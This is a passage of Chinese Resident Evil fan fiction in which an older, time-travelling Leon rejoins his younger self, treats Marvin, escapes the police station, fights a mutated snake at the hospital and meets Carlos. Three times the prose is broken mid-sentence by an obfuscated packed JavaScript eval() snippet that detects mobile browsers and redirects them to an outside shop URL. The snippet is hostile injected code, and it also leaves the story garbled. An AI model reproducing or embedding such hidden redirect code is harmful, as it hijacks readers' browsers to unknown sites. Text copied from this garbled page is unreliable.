马文却连连摇头,“不,这不重要了。我怎么样都无所谓。” “不行,”肯尼迪皱起眉头,“警长,我不能把您丢在这里。” 马文的声音忽然拔高了几分,“这是我给你的命令,新人,先救你自己。” 他捂着腹部,抬头看着肯尼迪,神情严肃而认真,“我很想跟你一起走,可我毫无疑问会拖累你……” 肯尼迪无奈地叹了口气。马文说的确是事实,可他已在心底暗暗下了决心。 一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404840|200450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要救他。 他知道马文应该是被T病毒感染了,那就一定有T病毒的抗毒剂。他得想办法找到。 “对了,这个你拿着。”马文把一把格斗匕首递给他。 “不行,我不能收。您留着防身……” “别说了。拿着。” 见马文态度坚决,肯尼迪只好接过来。 马文死死盯着他,一字一句地说,“别犯和我一样的错。要是看见那些东西,不管是不是穿着警察制服,你都必须毫不犹豫。要么解决它,要么拔腿就跑。明白吗?” 肯尼迪沉默了。他心里难受得紧,马文警官这番话,听起来像是遗言。 “我明白了。”他说,“可长官,我不会放弃的。您也别放弃,一定会有机会的。” 马文捂着肚子靠在沙发上,“快去吧。别管我了。” “警长,我先去找那个秘密通道。您等我。” 肯尼迪正要按笔记本上的指引去寻找开启通道的方法, 忽然,走廊那头传来敲击声。不像是丧尸,倒像是有人在敲门。 肯尼迪和马文同时愣住了。他们都以为警察局里已经没有活人了。 “我去看看。”肯尼迪说。 他刚走近,便听见外面有人在说话。那声音……很熟悉。 他顿住了。该不会是……他心脏跳动的速度不由加快, 而这时,铁门被人从外面拉开了。 而露出的那张脸,他再熟悉不过,是二十八年后的自己。 岁月在这张脸上留下了一道道的痕迹,却反而将其打磨成了一种更加醉人的美感。 原本浅金色的头发更深了一些,而在碎发间隐约可见几缕银丝,不过不显老态,反添一抹风味。 然而最让肯尼迪移不开视线的,是那双眼睛。 那是一双与他一模一样,却又感觉截然不同的浅色眼眸。那是两抹温柔的浅蓝,里面是令人安心的成熟和从容。 哦,老天…… 里昂吐了口气,嘴角勾起,“呵,还真是故地重游啊……” “里昂!”,肯尼迪感慨道。 肯尼迪看见里昂的那一刻,他觉得周遭的一切都不再可怕了,心里的喜悦让他想也不想地就冲上前,一把抱住了对方。 里昂愣了一下,随即眉眼舒展,他心里也是万般感慨,他同样伸手搂住了他,低头看着那颗蓬松的金色脑袋,心里不由得一软…… 这感觉……真像是受惊后需要顺毛安抚的金毛犬。 他这念头可真是古怪。 可想着,里昂的手不由是搭了上去,下意识揉了揉,那头柔软的金发。 “……” 11. 医院 里昂伸手摸了摸肯尼迪的头发。 果然,手感柔软得不像话,话说年轻的时候的自己发质这么好吗。 “嘿,别摸我的头。” 下一秒,里昂的手就被肯尼迪拍开了。 年轻人嘟囔着,“还把我当小孩哄呢,男人的脑袋是不能摸的。” 里昂嘴角微微勾起,本想开几句玩笑,却意外地发现,在金色碎发之间,露出的耳尖正泛着红。 他想起自己先前终于想明白的那些事,里昂眼底不由得暗了暗,嘴唇微抿,他还是往后退了半步。 当亲眼看着肯尼迪死亡的那一刻,他才终于认清了自己对这个年轻人抱有的心思。 他以为他们再也见不到了。 可就在方才那个雨夜,他推开那扇破旧的木门。 门后的警察局不再是废墟,而是二十八年前那个他初来报到时的模样。 他竟然是和之前的肯尼迪一样,也穿越回了二十八年前。而凭着记忆,他找到了这里。 果然,肯尼迪就在这儿。 如今,他们不再是隔着时间两岸遥遥相望了。 至于要不要再进一步……里昂垂下眼,瞥见对方耳尖那抹红晕,嘴角悄悄勾了起来。 或许二十一岁的里昂会犹豫不决,可四十九岁的他,经历过太多,他早已没什么好迟疑的,时间是不等人的。 只是得看看那孩子是什么想法。 里昂·S·肯尼迪对自己的魅力,还是颇有信心的。 而这些念头只在他脑海里转了一瞬,便被暂且搁下了。他转头看向不远处坐在沙发上的马文,暗暗吐了口气。 毕竟眼下最重要的,是他终于有机会弥补这一切了。 里昂拍了拍肯尼迪的肩膀,安抚他过于激动的情绪,然后走上前去,看向了马文,“马文警官?” 马文表情迟疑,他奇怪地看向里昂,“你是?” “我是协助撤离的FBI特工。”里昂递上证件,语气从容,“这是我的证明。叫我里昂就好。” 现在这个时间DSO尚未成立,所以显然他这个特工身份是不能告知的。 不过身为特工,他随身带着各种身份证明以备不时之需,而在这个年代,FBI的身份最为合适。 马文接过证件仔细看了看,终于彻底放下心来,“原来如此。” 里昂看着马文,神色里带着一丝怀念。 这一幕在他脑海里回放过无数次,而这一次,他能做到的。 他立刻是掏出随身携带的急救包。幸好穿越过来时,身上的装备一样没少。包里装着紧急病毒抑制剂,止血绷带和各种药品,可惜的是他没有带T病毒的解药。 不过,眼下这些也够了。 “这里有抑制剂,可以延缓T病毒发作。”里昂取出注射剂和绷带,“快,先把血止住。” 马文闻言,他眼睛不由得睁大了 ,他反而不是先想到自己,而是关心别人,“那些已经感染发作的人……还有救吗?也有这样的药吗?” 里昂摇了摇头,“抱歉,异化之后还能起效的药物,目前还没有研制出来。” 马文叹了口气,垂下眼睛,他心里是不断的想起自己曾经的在警察局工作的同事们。 里昂继续道,“而眼下最要紧的是找到T病毒的解药。浣熊市医院里应该储备了不少,我们得先离开警局。” “我找到了一条秘密通道。”肯尼迪接过话头,将笔记递给了里昂。 而里昂嘴角一扬,从口袋里掏出三块铁板,“那就别耽误时间了,现在就走。” 在找到肯尼迪之前,他已经搜齐了这些东西,当初这些东西可是苦了他,耽误了他不少时间。 …… “咔哒——” 警察局大厅中央的雕像缓缓移开,露出通往地下的漆黑通道。 “跟在我后面。”里昂回头看了两人一眼。 马文和肯尼迪齐齐点头。 在包扎治疗之后,马文的状态好了许多,脸色已不似方才那般苍白。 “哗哗……”电梯载着三人来到地下蒸汽房。 里昂一路警惕地留意着四周。 看来他们来得早,在地下室里的那些东西还没到这儿,这倒是省了不少功夫。 里昂凭着记忆,带着两人很快找到了地下停车场。 出口的铁门紧锁着, 马文连忙是掏出停车许可证,松了口气,“幸好带了这东西,不然可麻烦了。” “咔嗒……”车库门缓缓升起。 里昂的视线一直没离开过地下停车场的黑暗中。他记得,当初就是在这里被变异犬袭击的。 果然,暗处亮起一双猩红的眼睛。 一只腐烂的变异犬从阴影中扑了出来。 “这是什么鬼东西?”肯尼迪骂了一声,然后和里昂同时开枪。 两声枪响,那畜生便没了动静。 “快走,门开了!”马文招呼道。 可就在此时,停车场深处传来沉重的脚步声。 里昂心头一紧,“真是阴魂不散的家伙。” 肯尼迪也听出来了,那是什么东西了,他不可置信道,“不会吧……这儿也有那个大块头?” “快走。”里昂一把拽住肯尼迪的手腕,朝出口冲去。 而再看黑暗中,那个黑塔般的身影渐渐显现,是暴君。 里昂垫在最后,他反手一枪打中停车场上方的自动装置,铁门应声落下,暂时挡住了暴君的去路。 “砰——!”暴君一拳砸在铁门上,不过第一下竟然还纹丝未动。 “还挺结实的,”里昂扬了扬眉,“看来还能撑一会儿。” “里昂!这边!”马文已经发动了一辆警车,正朝他们招手。 里昂快步上前,拉开车门坐了进去。 “那东西到底是什么?”马文踩下油门。 “BOW,那些东西就是保护伞公司研发的有机生物兵器,他们是通过病毒与基因改造制造出来的。” “该死的……这帮畜生真是丧尽天良。” “马文警官。”里昂顿了顿,“你知道浣熊市医院在哪儿吧?” 马文笑了笑,“当然。只是这一路怕是没那么太平。对了,别叫我警官了,听着压力怪大的,叫我马文就好。” 毕竟面前的里昂,浑身上下都散发这一种极其成熟的魅力,应该是和身经百战的老手。 “好的,马文。” 在这一路上横着不少报废的汽车,还有成群的丧尸在街上游荡。不过好在马文车技娴熟,左突右闪,倒也能应付。 他甚至还打开了音乐,毕竟压抑的气氛真的很容易让人崩溃,适当也要放松一下。 而里昂的目光掠过街边的肯多枪械店,心头微微一动。 那位父亲和他的女儿……按照时间推算,那孩子应该还没发作。 但愿还来得及。 而这时肯尼迪悄悄凑近里昂,压低声音,“咱们从警局出来也太顺利了……话说,你怎么对这儿这么熟?” 里昂侧过头,同样压低声音,“大概是做梦做得太多了。这些地方,我闭着眼都能走一遍。” “怎么,嫌太容易了?那现在就停车,你下去跟那个大块头比划比划?” “别别别,我开玩笑的。”肯尼迪笑着摆手。 他注意到里昂脸上和胳膊上那些可怕的黑色血丝已经不见了。只是之前这一路凶险,他也一直没来得及问。 “你身上的病毒……治好了?”肯尼迪问。 里昂点点头,“没想到厄尔庇斯居然是解毒剂。多亏了格蕾丝,是她发现了真相,救了我。” “那姑娘可真勇敢。”肯尼迪感慨道,“我还以为再也见不到你了……命运这东西,真是奇妙。” 车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404841|200450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厢里光线昏暗,外面的路灯光影明灭,勾勒出了里昂优越的侧脸轮廓。 他那双浅色的眼睛专注地看着肯尼迪,他声音低缓,“确实奇妙。我也没想到会来到这儿。也许上帝给了我们彼此一次机会。” “什么……机会?”肯尼迪的心猛地跳了一下,搭在膝上的手指不自觉地蜷缩起来。 里昂没有继续这个话题,他睫毛微微垂下,勾起了好看的弧度,他声音温和只是说,“谢谢你,肯尼迪。” “谢我什么?” “谢谢你救了我。”里昂的脑海里又闪过那个画面,肯尼迪在他怀里渐渐失去呼吸。他一想到这个,胸口便隐隐作痛。 “这是我应该做的。你救了我那么多次……”肯尼迪不敢再直视里昂的眼睛。 他只觉得这狭小的车厢闷热得不像话,耳尖烫得厉害,想必已经红透了。 “我还以为防弹衣能挡一挡呢,谁知道那东西是个劣质货。” “别开这种玩笑。”里昂的声音认真起来,“以后遇到这种事,第一要务是保证自己的安全。” 肯尼迪摇摇头,“嘿,那你之前不顾性命地救我,又怎么说?你该不会对谁都这样吧?” 里昂思索了片刻,眼底掠过一丝玩味。 他微微侧头,几缕发丝垂落下来,声音压得很低,“当然不是……” 果然,肯尼迪下意识地抬眸看向他。 那双眼睛睁得溜圆,眼睛亮亮的,也傻得可怜。 里昂慢悠悠地补完后半句,“当然不是…因为你才这样的。那时候,我本来就觉得自己死路一条。” 肯尼迪眨了眨眼。 他当然知道里昂说的是什么意思,可他想问的,明明不是这个意思。突然他感觉自己被牵着鼻子走了,对方分明是故意曲解他的话。 “我可不是那个意思!”他的脸一下子涨得通红,“你……你理解错了。反正,既然你身上的病毒已经治好了,这种不要命的事还是少做为妙,活着才是最重要的。” 里昂闷声笑了几下,点点头。 他说的倒是实话,那时候以为自己活不了多久,自然不在乎这条命。 可现在不一样了,他得好好活着。 他们俩,都得好好活着。 “嘿……”马文从后视镜里看了看他们,好奇地问道,“聊什么呢?你们俩关系可真不错。我早就想问了,你们是叔侄?你们的名字都一样。” “不是不是,”肯尼迪连忙摆手,“我们就是朋友。他才不是我叔叔什么的。” “是吗?”马文说,“你们长得倒是有几分相像。” 一般人大概只会觉得里昂和肯尼迪容貌相似,不过当然很难猜到他们是同一个人,只是一个是二十一岁,一个是四十九岁。 里昂和肯尼迪对视一眼,只是笑了笑,没再多说。 这个秘密,自然是不能说出口的。 “……” 而不远处,医院附近的道路被几辆撞在一起的车堵得严严实实,熊熊大火烧得正旺。 “见鬼,”马文踩下刹车,“路被堵死了。看来我们只能步行过去了。” 他正要下车,肯尼迪却叫住了他,“马文警长,要不您就在这儿等我们吧?” 因为肯尼迪是注意到,火墙的对面,也就是医院周围到处都是游荡的丧尸。 这对马文这样的伤患来说,实在太危险了。 里昂也点点头,“你现在行动不便,伤口容易裂开,过度活动也会加速感染。” “那好吧。”马文也没有坚持,从口袋里掏出一张折好的纸,“这是医院的地图。我之前去医院治病,那个护士给我的杂志,也没想到派上了用场。” 他又递过一部无线电,“有事随时联络。如果真有病毒的解药,对其他幸存者来说可是天大的好消息。” “明白。”里昂接过东西,他和肯尼迪推门下车。 12. 危险 “往这边走,”里昂看了看马文给的地图,“按照地图上的标示,这儿应该有条小路。” “明白。” 两人拐进狭窄的小巷。肯尼迪刚走进去,前方就冒出一个人影。 “喂……”肯尼迪试探性地喊了一声。 那人影动作僵硬,听见声音便直直地举起双手,往前挪了几步。而走出阴影之后,灯光照亮了那张血肉模糊,大张着嘴嘶吼的可怖面孔。 肯尼迪叹了口气,如今这座城市都看不到活人。 他开始连续开枪,打了许多枪,那丧尸才终于倒下。 他呼出一口气,正要走过去,里昂一把拦住了他。 “就算确定它已经倒了,也别靠太近。这些东西会诈尸的。” 肯尼迪点点头,绕过尸体继续往前走。 而两人刚走过去,身后便传来血肉喷溅的声音,那倒下的丧尸脑袋直接炸开,涌出一团肿瘤般的触手。 “变异了……真是没完没了。”里昂垫在最后,听到动静的瞬间他便反手抽出斧头,一脚踹翻正要爬起来的丧尸,对准那团肿瘤一顿猛砍,几下就劈了个稀烂,最后一斧了结了它。 他将斧头上的血甩掉,利落地挂回背后。 一转身,就看见肯尼迪目瞪口呆地望着他。 “怎么了?” “我一直想问你,”肯尼迪边往前走,边开枪解决前面拦路的丧尸,“我到底是怎么练出这么暴力的身手的?这次能好好说了吧?别再糊弄我了。” 里昂一枪爆掉一个丧尸的脑袋,然后走上前去,“等浣熊市的事结束之后,你自然会知道。说不上是好是坏。” “我们不能在这儿耗时间。能绕就绕,别跟这些丧尸纠缠。” “而且…浣熊市会在十月一日被导弹夷为平地。”里昂的声音沉下来,“这件事……我们阻止不了,只能抓紧时间,能多救一个是一个。” 肯尼迪收起枪,他听到里昂的话,稍微一愣,然后紧紧跟在他身后,“为什么要发射导弹?” “安布雷拉那帮混蛋干的好事。他们想把所有罪证彻底抹掉。”里昂顿了顿,“不管怎样,我们得先拿到地下室的疫苗。那里应该还存着病毒样本和实验记录,那也是他们的犯罪证据。” “明白。” 穿过小巷,两人来到医院的停车场。 “坐电梯应该能进入医院。”里昂说着,按下了电梯按钮。 电梯发出咔咔的运转声。 而这时,里昂和肯尼迪都感觉到了一股不祥的气息。 地下停车场的昏暗深处,有什么东西正盯着他们。 里昂举起手电筒照过去。 灯光下,一条巨蟒赫然出现在眼前。它已经异化了,眼珠浑浊发白,獠牙从嘴角里凸出,而且体型是普通蟒蛇的三倍。 “嘶……” “见鬼。”里昂低声骂了一句,“你这种稀罕玩意儿我可没见过。” 他反手抽出“安魂”,一枪瞄准巨蟒的眼睛。 “砰……” 巨蟒的眼睛应声爆裂,它痛苦地剧烈扭动,张开血盆大口,满嘴獠牙毕露。 “嘶——!” 它猛地朝里昂这边扑来。 里昂瞥了一眼电梯,楼层数字还在慢吞吞地跳动。 “真是熟悉的感觉,这些电梯永远是不能快点。” 里昂和肯尼迪同时开火。 可这蛇皮硬得像铠甲,子弹打在上面溅出点点火光,普通手枪子弹根本没用,只有步枪子弹才能穿透。 而“安魂”的子弹,里昂不打算浪费。他身上剩下的已经不多了,得留着关键时刻用。 更何况这畜生似乎知道自己只剩一只眼,脑袋扭得飞快,根本不好瞄准。 “该死……到底是谁在地下室里养蛇的?”肯尼迪忍不住吐槽。 两人被逼得连连后退。 那巨蟒看准时机,身体绷成S形,猛地朝里昂弹射过来。 “小心,里昂!”肯尼迪立刻提醒道。 “小菜一碟……赫…”里昂被巨蟒扑倒在地,神情却异常冷静。 他看着面前那张大嘴,反手抽出斧头,双手死死卡住了蛇口。 肯尼迪抓住时机,子弹精准地射向巨蟒另一只眼睛。 “嘶——!”巨蟒吃痛,力道一松。里昂则是趁势一脚将它踹开。 “咔嗒!”电梯终于到了。 肯尼迪拉起地上的里昂,两人冲进电梯。 巨蟒还不死心,虽然瞎了双眼,它却吐着蛇信子,依然准确锁定了他们的方位。 肯尼迪看到,立马是猛按关门键。 而就在电梯门即将合拢的瞬间,巨蟒的大半个脑袋挤了进来。 里昂眼神一狠,掏出匕首狠狠扎进蛇的眼眶,然后蛮力一扯,将蛇头砸在地板上,死死按住。而那巨蟒还在张着嘴挣扎,里昂反手一脚狠狠踩下。 电梯终于启动了,缓缓上升。 “噗嗤!!” 巨蟒的脑袋被这电梯巨大的压力,直接是挤压断裂。 “呼……” 经历过这番生死瞬间,两人不约而同地松了口气。 他们对视一眼,里昂嘴角一扬,“合作愉快。” “合作愉快。”肯尼迪也笑了,“咱们这个组合,是不是该起个名字?” “除蛇大队?” “嘿,认真点儿。” “双胞胎组合。” “…………” “叮!二楼到了。” “真是惊险。”肯尼迪呼出一口气,跟在里昂身后。他注意到,对方从头到尾都游刃有余。 看来自己要学的东西还多着呢。 里昂展开地图。他根据之前从吉尔等人那里得到的资料,知道医院地下室里存有T病毒疫苗,还有制造疫苗的机器。可惜后来丧尸潮爆发,那些东西全毁了。 不过现在时间还来得及,完全有机会把疫苗拿到手。 可他只知道个大概位置。直行电梯只到二楼,却没有地下室,而医院的地下室明明是停车场,根本没有什么地下实验室。 不过,他在记忆中很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404842|200450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快是想到了一个关键人物,巴德博士,他是制作了T病毒疫苗。 里昂很快在地图上找到了巴德博士的办公室。 “先去巴德博士的办公室,”里昂说,“他那儿或许有线索。” 走入医院,在医院的走廊和病房里到处都是血腥的尸体。 里昂很快是注意到,有些地方有开枪的痕迹。 “看来已经有人比我们先到了。” “也是来拿解毒剂的?” “大概吧。” 来到巴德博士的办公室前,金属门紧锁着,需要声纹权限才能打开。 肯尼迪皱起眉头,“看来得找个医院里够分量的人来开门。可这医院……哪儿还有活人啊?” 他试着朝门开了几枪,毫无效果。 “提前来这的人应该也发现了这个问题。”里昂说,“他多半有别的办法。我们顺着痕迹找过去看看。” “好。” 两人穿过走廊,拐过几间房间,便听见了奇怪的吼叫声和枪击声。 里昂和肯尼迪立刻持枪冲了过去。 只见一个高大的怪物正把一个穿着防弹衣的男人压在地上。 两人立刻开火,瞄准怪物头上的肿瘤。 “滋滋——” 被压在地上的男人趁机喘息,反手抄起冲锋枪,一梭子将怪物爆了头。怪物瘫倒在地,没了声息。 男人骂了一句,一脚踹开了它。 肯尼迪好心伸出手,男人也没犹豫,借力站了起来。 “多谢。”他扫了两人一眼,“我是卡洛斯·奥利维拉。” “叫我肯尼迪就行。我和他重名了。” “里昂。” 卡洛斯站直身体打量着两人。 肯尼迪看起来像个刚出社会的大学生,或者是个新警察,气质亲切。可旁边那个身材高大,气质沉稳的男人……卡洛斯下意识地绷紧了神经。 这家伙绝不好惹。就像狼遇见了狮子,那种天生的生物警觉。 “再次谢谢你们。”卡洛斯说,“要不是你们,我就被这玩意儿吃了。要是我出了事,吉尔就……” 而里昂的视线落在了卡洛斯作战服上那个红白相间的标志上。 “安布雷拉的部队。” “是又怎样?”卡洛斯皱起眉头,下意识攥紧了手中的冲锋枪。 他感觉面前这个冷峻的男人瞬间涌起了杀意,不过对方很快又压了下去,掩藏得干干净净。 而里昂很快想起,吉尔曾经跟他聊过这个人,对他的评价不差,所以卡洛斯是个可以信任的人。 看情况来说,卡洛斯大概只是个不知内情的雇佣兵。 “没什么。”里昂说,“你刚才说吉尔,是吉尔·瓦伦蒂安?” “你认识吉尔?” “嗯。”里昂顿了顿,“吉尔受伤了?需要T病毒疫苗?这样的话,我们也许可以一起行动。” 卡洛斯却警惕起来,枪口直接对准了里昂。 “你怎么知道这些的?”他冷声问到,“你到底是什么人?”